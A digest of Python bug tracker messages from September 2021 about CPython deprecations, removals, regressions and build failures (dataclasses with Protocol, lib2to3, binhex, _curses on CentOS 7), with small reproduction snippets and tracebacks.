open -> pending versions: +Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 16:46:12 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 01 Sep 2021 20:46:12 +0000 Subject: [issue44091] traceback & inspect modules should verify that the .py source file matches the one that the running process is using In-Reply-To: <1620580530.62.0.599288030317.issue44091@roundup.psfhosted.org> Message-ID: <1630529172.82.0.845333009652.issue44091@roundup.psfhosted.org> Irit Katriel added the comment: While we're changing code objects, perhaps consider this as well? ---------- nosy: +gvanrossum, iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 16:59:53 2021 From: report at bugs.python.org (Guido van Rossum) Date: Wed, 01 Sep 2021 20:59:53 +0000 Subject: [issue44091] traceback & inspect modules should verify that the .py source file matches the one that the running process is using In-Reply-To: <1620580530.62.0.599288030317.issue44091@roundup.psfhosted.org> Message-ID: <1630529993.31.0.780652308472.issue44091@roundup.psfhosted.org> Guido van Rossum added the comment: This sounds like a project requiring a considerable amount of plumbing to get the info from where it's available to where it's needed. For example, importlib reads the PYC file, checks the header, and then passes the rest of the file to marshal.loads(), which creates the (nested) code objects. Similarly, when reading the PY file, the compile() builtin is called to create the code objects without access to metadata other than filename. I also question whether the software updates that fall prey to this issue are being done the right way -- maybe the server should be stopped before moving the new files in place. :-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 17:06:11 2021 From: report at bugs.python.org (Julian Fortune) Date: Wed, 01 Sep 2021 21:06:11 +0000 Subject: [issue45081] dataclasses that inherit from Protocol subclasses have wrong __init__ Message-ID: <1630530371.11.0.748962218101.issue45081@roundup.psfhosted.org> New submission from Julian Fortune : I believe [`bpo-44806: Fix __init__ in subclasses of protocols`](https://github.com/python/cpython/pull/27545) has caused a regression when using a Dataclass. In Python `3.9.7`, a `dataclass` that inherits from a subclass of `typing.Protocol` (i.e., a user-defined protocol), does not have the correct `__init__`. ### Demonstration ```python from dataclasses import dataclass from typing import Protocol class P(Protocol): pass @dataclass class B(P): value: str print(B("test")) ``` In `3.9.7`: ```shell Traceback (most recent call last): File "test.py", line 11, in print(B("test")) TypeError: B() takes no arguments ``` In `3.9.6`: ```shell B(value='test') ``` ### Affected Projects - [dbt](https://github.com/dbt-labs/dbt/issues/3843) ---------- components: Library (Lib) messages: 400868 nosy: julianfortune priority: normal severity: normal status: open title: dataclasses that inherit from Protocol subclasses have wrong __init__ type: behavior versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 17:06:16 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 01 Sep 2021 21:06:16 +0000 Subject: [issue44091] traceback & inspect modules should verify that the .py source file matches the one that the running process is using In-Reply-To: <1620580530.62.0.599288030317.issue44091@roundup.psfhosted.org> Message-ID: <1630530376.51.0.845021590945.issue44091@roundup.psfhosted.org> Irit Katriel added the comment: It's not only a software updates issue - these kinds of problems show up for developers when they change the code on disk while a program is running and some traceback or pdb show code from the disk which is confusing. I also saw an issue about changing directory in pdb and picking up a module of the same name in a different path (because the filename is relative). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 17:08:17 2021 From: report at bugs.python.org (Guido van Rossum) Date: Wed, 01 Sep 2021 21:08:17 +0000 Subject: [issue44091] traceback & inspect modules should verify that the .py source file matches the one that the running process is using In-Reply-To: <1630530376.51.0.845021590945.issue44091@roundup.psfhosted.org> Message-ID: Guido van Rossum added the comment: All legit cases, I agree, but are they worth the considerable work? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 17:30:22 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 01 Sep 2021 21:30:22 +0000 Subject: [issue45082] ctypes: Deprecate c_buffer() alias to create_string_buffer() Message-ID: <1630531822.38.0.282909766442.issue45082@roundup.psfhosted.org> New submission from STINNER Victor : Since the ctypes module was added to the stdlib (commit babddfca758abe34ff12023f63b18d745fae7ca9 in 2006), ctypes.c_buffer() was an alias to ctypes.create_string_buffer(). The implementation contains a commented deprecation: def c_buffer(init, size=None): ## "deprecated, use create_string_buffer instead" ## import warnings ## warnings.warn("c_buffer is deprecated, use create_string_buffer instead", ## DeprecationWarning, stacklevel=2) return create_string_buffer(init, size) I propose to start to deprecate ctypes.c_buffer(): use ctypes.create_string_buffer() directly. In older ctypes version, the function was called c_string(): it's still mentioned in the ctypes documentation. This legacy is confusion, and it's time to simplify the API to provide a single function. ---------- components: ctypes messages: 400871 nosy: vstinner priority: normal severity: normal status: open title: ctypes: Deprecate c_buffer() alias to create_string_buffer() versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 17:31:48 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 01 Sep 2021 21:31:48 +0000 Subject: [issue45082] ctypes: Deprecate c_buffer() alias to create_string_buffer() In-Reply-To: <1630531822.38.0.282909766442.issue45082@roundup.psfhosted.org> Message-ID: <1630531908.92.0.0270740971971.issue45082@roundup.psfhosted.org> Change by STINNER Victor : ---------- keywords: +patch pull_requests: +26555 stage: -> patch review pull_request: https://github.com/python/cpython/pull/28114 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 17:44:44 2021 From: report at bugs.python.org (otn) Date: Wed, 01 Sep 2021 21:44:44 +0000 Subject: [issue45076] open "r+" problem In-Reply-To: <1630497380.88.0.961026516524.issue45076@roundup.psfhosted.org> Message-ID: <1630532684.26.0.27427014313.issue45076@roundup.psfhosted.org> otn added the comment: It works correct for ver2.6, and also "rb+". Buffering procsess should work the same as those case. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 17:46:35 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 01 Sep 2021 21:46:35 +0000 Subject: [issue45083] Incorrect exception output in C Message-ID: <1630532795.5.0.16726920843.issue45083@roundup.psfhosted.org> New submission from Irit Katriel : iritkatriel at Irits-MBP cpython % cat exc.py class A: class B: class E(Exception): pass raise A.B.E() iritkatriel at Irits-MBP cpython % cat test.py import exc iritkatriel at Irits-MBP cpython % ./python.exe test.py Traceback (most recent call last): File "/Users/iritkatriel/src/cpython/test.py", line 2, in import exc ^^^^^^^^^^ File "/Users/iritkatriel/src/cpython/exc.py", line 7, in raise A.B.E() ^^^^^^^^^^^^^ exc.E ============== See the last line of the output: there is no such thing as exc.E. There is exc.A.B.E. The traceback module doesn't have this issue: iritkatriel at Irits-MBP cpython % cat test.py import traceback try: import exc except Exception as e: traceback.print_exception(e) iritkatriel at Irits-MBP cpython % ./python.exe test.py Traceback (most recent call last): File "/Users/iritkatriel/src/cpython/test.py", line 5, in import exc ^^^^^^^^^^ File "/Users/iritkatriel/src/cpython/exc.py", line 7, in raise A.B.E() ^^^^^^^^^^^^^ exc.A.B.E ---------- components: Interpreter Core messages: 400873 nosy: iritkatriel priority: normal severity: normal status: open title: Incorrect exception output in C type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 17:47:12 2021 From: report at bugs.python.org (Stanislav Beblo) Date: Wed, 01 Sep 2021 21:47:12 +0000 Subject: [issue39758] StreamWriter.wait_closed() can hang indefinitely. In-Reply-To: <1582713366.75.0.743984348325.issue39758@roundup.psfhosted.org> Message-ID: <1630532832.23.0.804185199716.issue39758@roundup.psfhosted.org> Change by Stanislav Beblo : ---------- components: +Build, C API, Parser, Tests, email nosy: +barry, lys.nikolaou, pablogsal, r.david.murray type: behavior -> performance versions: +Python 3.10, Python 3.11 -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 17:51:44 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 01 Sep 2021 21:51:44 +0000 Subject: [issue39758] StreamWriter.wait_closed() can hang indefinitely. In-Reply-To: <1582713366.75.0.743984348325.issue39758@roundup.psfhosted.org> Message-ID: <1630533104.0.0.570753916884.issue39758@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- components: -Build, C API, Parser, Tests, email nosy: -pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 17:58:56 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 01 Sep 2021 21:58:56 +0000 Subject: [issue45084] urllib.parse: remove deprecated functions (splittype, to_bytes, etc.) Message-ID: <1630533536.1.0.485805644066.issue45084@roundup.psfhosted.org> New submission from STINNER Victor : bpo-27485 deprecated the following urllib.parse undocumented functions in Python 3.8: * splitattr() * splithost() * splitnport() * splitpasswd() * splitport() * splitquery() * splittag() * splittype() * splituser() * splitvalue() * to_bytes() (commit 0250de48199552cdaed5a4fe44b3f9cdb5325363) I propose to remove them. See attached PR. Note: The Quoter class is only deprecated since Python 3.11. It should be kept around for 2 releases (not removed before Python 3.13): PEP 387. ---------- components: Library (Lib) messages: 400874 nosy: vstinner priority: normal severity: normal status: open title: urllib.parse: remove deprecated functions (splittype, to_bytes, etc.) versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 18:06:55 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 01 Sep 2021 22:06:55 +0000 Subject: [issue45084] urllib.parse: remove deprecated functions (splittype, to_bytes, etc.) In-Reply-To: <1630533536.1.0.485805644066.issue45084@roundup.psfhosted.org> Message-ID: <1630534015.79.0.673629961791.issue45084@roundup.psfhosted.org> Change by STINNER Victor : ---------- keywords: +patch pull_requests: +26556 stage: -> patch review pull_request: https://github.com/python/cpython/pull/28115 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 18:07:44 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 01 Sep 2021 22:07:44 +0000 Subject: [issue27485] urllib.splitport -- is it official or not? In-Reply-To: <1468260123.51.0.000787877209911.issue27485@psf.upfronthosting.co.za> Message-ID: <1630534064.5.0.523453267936.issue27485@roundup.psfhosted.org> STINNER Victor added the comment: Follow-up: I created bpo-45084 to remove these undocumented and deprecated functions in Python 3.11. ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 18:16:34 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 01 Sep 2021 22:16:34 +0000 Subject: [issue40360] Deprecate lib2to3 (and 2to3) for future removal In-Reply-To: <1587530454.25.0.44181585934.issue40360@roundup.psfhosted.org> Message-ID: <1630534594.13.0.126451872576.issue40360@roundup.psfhosted.org> Change by STINNER Victor : ---------- nosy: +vstinner nosy_count: 11.0 -> 12.0 pull_requests: +26557 stage: -> patch review pull_request: https://github.com/python/cpython/pull/28116 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 18:23:26 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 01 Sep 2021 22:23:26 +0000 Subject: [issue40360] Deprecate lib2to3 (and 2to3) for future removal In-Reply-To: <1587530454.25.0.44181585934.issue40360@roundup.psfhosted.org> Message-ID: <1630535006.86.0.908531210815.issue40360@roundup.psfhosted.org> STINNER Victor added the comment: I created PR 28116 to deprecate the lib2to3 package: replace PendingDeprecationWarning to DeprecationWarning. In 2021, I don't think that we should keep the 2to3 tool in the stdlib. Python 2 reached end of line 1 year ago. For the lib2to3 *parser*, IMO it would be better to maintain it outside the stdlib, and collaborate with other existing forks, like the parser used by Black. The change is only about *deprecating* lib2to3, not *remove* it. For the removal, we should check if major projects which used it moved to something else. It's kind of a shame that Python stdlib (lib2to3) cannot parse valid Python 3.10 code :-( IMO it's better to deprecate (and then remove) lib2to3. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 18:23:58 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 01 Sep 2021 22:23:58 +0000 Subject: [issue40360] Deprecate lib2to3 (and 2to3) for future removal In-Reply-To: <1587530454.25.0.44181585934.issue40360@roundup.psfhosted.org> Message-ID: <1630535038.68.0.752965542192.issue40360@roundup.psfhosted.org> STINNER Victor added the comment: I retarget this issue to Python 3.11, since lib2to3 is *not* deprecated in Python 3.10. ---------- versions: +Python 3.11 -Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 18:29:18 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 01 Sep 2021 22:29:18 +0000 Subject: [issue39353] Deprecate the binhex module In-Reply-To: <1579166085.65.0.30693146669.issue39353@roundup.psfhosted.org> Message-ID: <1630535358.5.0.777979763651.issue39353@roundup.psfhosted.org> Change by STINNER Victor : ---------- title: Deprecate the binhex module, binhex4 and hexbin4 standards -> Deprecate the binhex module _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 18:32:32 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 01 Sep 2021 22:32:32 +0000 Subject: [issue39353] Deprecate the binhex module, binhex4 and hexbin4 standards In-Reply-To: <1579166085.65.0.30693146669.issue39353@roundup.psfhosted.org> Message-ID: <1630535552.05.0.812180413272.issue39353@roundup.psfhosted.org> Change by STINNER Victor : ---------- title: Deprecate the binhex module -> Deprecate the binhex module, binhex4 and hexbin4 standards _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 18:44:58 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 01 Sep 2021 22:44:58 +0000 Subject: [issue45085] Remove the binhex module, binhex4 and hexbin4 standards Message-ID: <1630536298.51.0.0911172102047.issue45085@roundup.psfhosted.org> New submission from STINNER Victor : The binhex module was deprecated in Python 3.9 by bpo-39353 (commit beea26b57e8c80f1eff0f967a0f9d083a7dc3d66). I propose to remove it: see attached PR. The PR also removes the following binascii functions, also deprecated in Python 3.9: * a2b_hqx(), b2a_hqx() * rlecode_hqx(), rledecode_hqx() The binascii.crc_hqx() function remains available. ---------- components: Library (Lib) messages: 400878 nosy: vstinner priority: normal severity: normal status: open title: Remove the binhex module, binhex4 and hexbin4 standards versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 18:46:46 2021 From: report at bugs.python.org (Eric V. Smith) Date: Wed, 01 Sep 2021 22:46:46 +0000 Subject: [issue45081] dataclasses that inherit from Protocol subclasses have wrong __init__ In-Reply-To: <1630530371.11.0.748962218101.issue45081@roundup.psfhosted.org> Message-ID: <1630536406.06.0.887521384308.issue45081@roundup.psfhosted.org> Change by Eric V. Smith : ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 18:49:34 2021 From: report at bugs.python.org (Guido van Rossum) Date: Wed, 01 Sep 2021 22:49:34 +0000 Subject: [issue40360] Deprecate lib2to3 (and 2to3) for future removal In-Reply-To: <1630535038.68.0.752965542192.issue40360@roundup.psfhosted.org> Message-ID: Guido van Rossum added the comment: How come the deprecation didn't happen in 3.10? Were people just not interested? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 18:52:16 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 01 Sep 2021 22:52:16 +0000 Subject: [issue45085] Remove the binhex module, binhex4 and hexbin4 standards In-Reply-To: <1630536298.51.0.0911172102047.issue45085@roundup.psfhosted.org> Message-ID: <1630536736.38.0.288710888689.issue45085@roundup.psfhosted.org> Change by STINNER Victor : ---------- keywords: +patch pull_requests: +26558 stage: -> patch review pull_request: https://github.com/python/cpython/pull/28117 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 18:52:50 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 01 Sep 2021 22:52:50 +0000 Subject: [issue45085] Remove the binhex module, binhex4 and hexbin4 standards In-Reply-To: <1630536298.51.0.0911172102047.issue45085@roundup.psfhosted.org> Message-ID: <1630536770.29.0.450882691768.issue45085@roundup.psfhosted.org> STINNER Victor added the comment: See also the PEP 594: Removing dead batteries from the standard library https://www.python.org/dev/peps/pep-0594/ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 18:57:29 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 01 Sep 2021 22:57:29 +0000 Subject: [issue45085] Remove the binhex module, binhex4 and hexbin4 standards In-Reply-To: <1630536298.51.0.0911172102047.issue45085@roundup.psfhosted.org> Message-ID: <1630537049.07.0.432119850245.issue45085@roundup.psfhosted.org> STINNER Victor added the comment: The binhex module was deprecated in Python 3.9 by bpo-39353 (commit beea26b57e8c80f1eff0f967a0f9d083a7dc3d66). I have been asked there to keep binascii.crc_hqx() (not deprecated it). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 19:03:19 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 01 Sep 2021 23:03:19 +0000 Subject: [issue45085] Remove the binhex module, binhex4 and hexbin4 standards In-Reply-To: <1630536298.51.0.0911172102047.issue45085@roundup.psfhosted.org> Message-ID: <1630537399.22.0.0255551943061.issue45085@roundup.psfhosted.org> STINNER Victor added the comment: In bpo-39353, Serhiy Storchaka proposed: "But it would be nice to create a separate package on PyPI that provides such functionality before removing it from the stdlib." The purpose of the PEP 594 is to reduce the Python maintenance burden. Publishing a module on PyPI introduces a new maintenance burden, even if there is no plan to ever update the package. The PEP 594 is still a draft. So far, there was no agreement on the strategy to remove anything from the stdlib. In past, other stdlib modules have been removed silently and nobody complained. Likely because nobody used them. For example, the the Python 2 CDROM module of the old Lib/plat-linux2/ directory (CDROM.py, DLFCN.py, IN.py, regen, TYPES.py). If someone uses the binhex module, I suggest users to create a new project on PyPI to support binhex. Users who need binhex are likely the most motivated to *maintain* such code. You can start by copying Python 3.10 code. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 19:14:29 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Wed, 01 Sep 2021 23:14:29 +0000 Subject: [issue40360] Deprecate lib2to3 (and 2to3) for future removal In-Reply-To: <1587530454.25.0.44181585934.issue40360@roundup.psfhosted.org> Message-ID: <1630538069.63.0.195946307881.issue40360@roundup.psfhosted.org> Gregory P. Smith added the comment: I think we just forgot to make the change in time. 3.11 is fine. We're not _maintaining_ lib2to3 or describing it as fit for any modern purpose regardless. It's just code that'll sit around in the back of the 3.10 stdlib but not be able to parse the new syntax in 3.10. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 19:32:13 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 01 Sep 2021 23:32:13 +0000 Subject: [issue37330] open(): remove 'U' mode, deprecated since Python 3.3 In-Reply-To: <1560872905.7.0.609892598407.issue37330@roundup.psfhosted.org> Message-ID: <1630539133.73.0.725173687829.issue37330@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +26559 pull_request: https://github.com/python/cpython/pull/28118 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 19:32:54 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 01 Sep 2021 23:32:54 +0000 Subject: [issue37330] open(): remove 'U' mode, deprecated since Python 3.3 In-Reply-To: <1560872905.7.0.609892598407.issue37330@roundup.psfhosted.org> Message-ID: <1630539174.71.0.293959481895.issue37330@roundup.psfhosted.org> STINNER Victor added the comment: I reopen the issue. I created PR 28118 to try again to remove the "U" mode in Python 3.11. ---------- resolution: fixed -> status: closed -> open versions: +Python 3.11 -Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 19:38:17 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 01 Sep 2021 23:38:17 +0000 Subject: [issue40360] Deprecate lib2to3 (and 2to3) for future removal In-Reply-To: <1587530454.25.0.44181585934.issue40360@roundup.psfhosted.org> Message-ID: <1630539496.99.0.209847267339.issue40360@roundup.psfhosted.org> STINNER Victor added the comment: Guido: How come the deprecation didn't happen in 3.10? Were people just not interested? Well, if nobody deprecates it, it's not deprecated. It is simple as it it :-) IMO it's ok to only deprecate it in Python 3.11, unless Pablo *really* wants to deprecate lib2to3 before just Python 3.10 final. I dislike adding new warnings between a beta1 release and the final release :-( In my experience, it *does* break projects which care of warnings. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 19:46:54 2021 From: report at bugs.python.org (=?utf-8?q?Edgar_Ram=C3=ADrez?=) Date: Wed, 01 Sep 2021 23:46:54 +0000 Subject: [issue45081] dataclasses that inherit from Protocol subclasses have wrong __init__ In-Reply-To: <1630530371.11.0.748962218101.issue45081@roundup.psfhosted.org> Message-ID: <1630540014.96.0.116932667659.issue45081@roundup.psfhosted.org> Change by Edgar Ram?rez : ---------- nosy: +edgarrmondragon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 19:52:04 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 01 Sep 2021 23:52:04 +0000 Subject: [issue45083] Incorrect exception output in C In-Reply-To: <1630532795.5.0.16726920843.issue45083@roundup.psfhosted.org> Message-ID: <1630540324.89.0.741727202629.issue45083@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +patch pull_requests: +26560 stage: -> patch review pull_request: https://github.com/python/cpython/pull/28119 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 19:57:43 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 01 Sep 2021 23:57:43 +0000 Subject: [issue45083] Need to use the exception class qualname when rendering exception (in C code) In-Reply-To: <1630532795.5.0.16726920843.issue45083@roundup.psfhosted.org> Message-ID: <1630540663.8.0.676151413696.issue45083@roundup.psfhosted.org> Change by Irit Katriel : ---------- title: Incorrect exception output in C -> Need to use the exception class qualname when rendering exception (in C code) _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 20:04:14 2021 From: report at bugs.python.org (Irit Katriel) Date: Thu, 02 Sep 2021 00:04:14 +0000 Subject: [issue45083] Need to use the exception class qualname when rendering exception (in C code) In-Reply-To: <1630532795.5.0.16726920843.issue45083@roundup.psfhosted.org> Message-ID: <1630541054.45.0.941872787361.issue45083@roundup.psfhosted.org> Irit Katriel added the comment: I've reproduced this on 3.9 and 3.10 as well. ---------- versions: +Python 3.10, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 20:13:40 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Thu, 02 Sep 2021 00:13:40 +0000 Subject: [issue45078] test_importlib: test_read_bytes() fails on AMD64 Windows8.1 Non-Debug 3.x In-Reply-To: <1630511688.74.0.180746211339.issue45078@roundup.psfhosted.org> Message-ID: <1630541620.94.0.4152570716.issue45078@roundup.psfhosted.org> Jason R. Coombs added the comment: There is an issue where that file originally got EOL conversions, so all Windows buildbots were failing (issue44779). I'd thought we'd worked around the issue by pushing out a PR that deleted the file and ensuring it ran on the buildbots (https://github.com/python/cpython/pull/27436#issuecomment-890029487). I knew it was a risk, however, that either that PR failed to checkout on the buildbot, checked out on a different shard, or that another PR subsequently managed to check out the code without the .gitattributes fix. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 20:16:21 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 02 Sep 2021 00:16:21 +0000 Subject: [issue37330] open(): remove 'U' mode, deprecated since Python 3.3 In-Reply-To: <1560872905.7.0.609892598407.issue37330@roundup.psfhosted.org> Message-ID: <1630541781.67.0.0627562018556.issue37330@roundup.psfhosted.org> STINNER Victor added the comment: > This breaks Samba's build: > https://bugzilla.samba.org/show_bug.cgi?id=14266 Samba has been updated in the meanwhile, buildtools/wafsamba/samba_utils.py: - function_code = node.read('rU', None) + function_code = node.read('r', None) https://github.com/samba-team/samba/blob/1209c89dcf6371bbfa4f3929a47a573ef2916c1a/buildtools/wafsamba/samba_utils.py#L692 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 20:17:51 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 02 Sep 2021 00:17:51 +0000 Subject: [issue37330] open(): remove 'U' mode, deprecated since Python 3.3 In-Reply-To: <1560872905.7.0.609892598407.issue37330@roundup.psfhosted.org> Message-ID: <1630541871.4.0.212555402564.issue37330@roundup.psfhosted.org> STINNER Victor added the comment: > docutils is already fixed in the development version. I requested a release: https://sourceforge.net/p/docutils/bugs/364/ At 2019-07-22, G?nter Milde wrote: "Docutils 0.15 is released" (with the fix). The latest docutils version is 0.17.1. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 20:18:31 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Thu, 02 Sep 2021 00:18:31 +0000 Subject: [issue45078] test_importlib: test_read_bytes() fails on AMD64 Windows8.1 Non-Debug 3.x In-Reply-To: <1630511688.74.0.180746211339.issue45078@roundup.psfhosted.org> Message-ID: <1630541911.71.0.575884486702.issue45078@roundup.psfhosted.org> Jason R. Coombs added the comment: I'm going to attempt that technique again and see if it's sufficient to bypass the symptom. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 20:28:49 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Thu, 02 Sep 2021 00:28:49 +0000 Subject: [issue45078] test_importlib: test_read_bytes() fails on AMD64 Windows8.1 Non-Debug 3.x In-Reply-To: <1630511688.74.0.180746211339.issue45078@roundup.psfhosted.org> Message-ID: <1630542529.59.0.935129613821.issue45078@roundup.psfhosted.org> Change by Jason R. Coombs : ---------- keywords: +patch pull_requests: +26561 stage: -> patch review pull_request: https://github.com/python/cpython/pull/28120 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 20:40:43 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Thu, 02 Sep 2021 00:40:43 +0000 Subject: [issue45078] test_importlib: test_read_bytes() fails on AMD64 Windows8.1 Non-Debug 3.x In-Reply-To: <1630511688.74.0.180746211339.issue45078@roundup.psfhosted.org> Message-ID: <1630543243.27.0.711623475861.issue45078@roundup.psfhosted.org> Jason R. Coombs added the comment: I've submitted a PR that deletes the file and requested it be built by the buildbots, but I also see that that bot hasn't built anything in 7 days (https://buildbot.python.org/all/#/builders/405), so I'm not hopeful my request for it to build that change will have any effect on that builder. ---------- stage: patch review -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 20:53:52 2021 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 02 Sep 2021 00:53:52 +0000 Subject: [issue40360] Deprecate lib2to3 (and 2to3) for future removal In-Reply-To: <1587530454.25.0.44181585934.issue40360@roundup.psfhosted.org> Message-ID: <1630544032.02.0.256620363502.issue40360@roundup.psfhosted.org> Guido van Rossum added the comment: We can add to the 3.10 docs that it is deprecated without any code change. And in 3.11 we can add a warning. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 20:58:38 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Thu, 02 Sep 2021 00:58:38 +0000 Subject: [issue45078] test_importlib: test_read_bytes() fails on AMD64 Windows8.1 Non-Debug 3.x In-Reply-To: <1630511688.74.0.180746211339.issue45078@roundup.psfhosted.org> Message-ID: <1630544318.96.0.0358032939026.issue45078@roundup.psfhosted.org> Jason R. Coombs added the comment: I'm not confident that I can get the message to the buildbot, so I sent a message to python-buildbots at python.org requesting to run the workaround on the buildbot. The message was flagged for moderation. My hope is that eventually goes through and will address the issue. ---------- status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Sep 1 21:47:51 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Thu, 02 Sep 2021 01:47:51 +0000 Subject: [issue45067] Failed to build _curses on CentOS 7 In-Reply-To: <1630453143.24.0.854803512429.issue45067@roundup.psfhosted.org> Message-ID: <1630547271.72.0.653440849622.issue45067@roundup.psfhosted.org> Senthil Kumaran added the comment: Here is the output of make with relevant lines. CC='gcc -pthread' LDSHARED='gcc -pthread -shared ' OPT='-DNDEBUG -g -fwrapv -O3 -Wall' _TCLTK_INCLUDES='' _TCLTK_LIBS='' ./python -E ./setup.py build running build running build_ext building '_curses' extension gcc -pthread -fPIC -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -std=c99 -Wextra -Wno-unused-result -Wno-unused-parameter -Wno-missing-field-initializers -Werror=implicit-function-declaration -fvisibility=hidden -I./Include/internal -DHAVE_NCURSESW=1 -I/usr/include/ncursesw -I./Include -I. -I/usr/local/include -I/local/home/senthilx/cpython/Include -I/local/home/senthilx/cpython -c /local/home/senthilx/cpython/Modules/_cursesmodule.c -o build/temp.linux-x86_64-3.11/local/home/senthilx/cpython/Modules/_cursesmodule.o -DPy_BUILD_CORE_MODULE /local/home/senthilx/cpython/Modules/_cursesmodule.c: In function ?_curses_color_content_impl?: /local/home/senthilx/cpython/Modules/_cursesmodule.c:149:41: error: implicit declaration of function ?extended_color_content?; did you mean ?_curses_color_content?? [-Werror=implicit-function-declaration] #define _COLOR_CONTENT_FUNC extended_color_content ^ /local/home/senthilx/cpython/Modules/_cursesmodule.c:2746:9: note: in expansion of macro ?_COLOR_CONTENT_FUNC? if (_COLOR_CONTENT_FUNC(color_number, &r, &g, &b) == ERR) { ^~~~~~~~~~~~~~~~~~~ /local/home/senthilx/cpython/Modules/_cursesmodule.c: In function ?_curses_init_color_impl?: /local/home/senthilx/cpython/Modules/_cursesmodule.c:147:41: error: implicit declaration of function ?init_extended_color?; did you mean ?initialize_color?? [-Werror=implicit-function-declaration] #define _CURSES_INIT_COLOR_FUNC init_extended_color ^ /local/home/senthilx/cpython/Modules/_cursesmodule.c:3194:29: note: in expansion of macro ?_CURSES_INIT_COLOR_FUNC? return PyCursesCheckERR(_CURSES_INIT_COLOR_FUNC(color_number, r, g, b), ^~~~~~~~~~~~~~~~~~~~~~~ 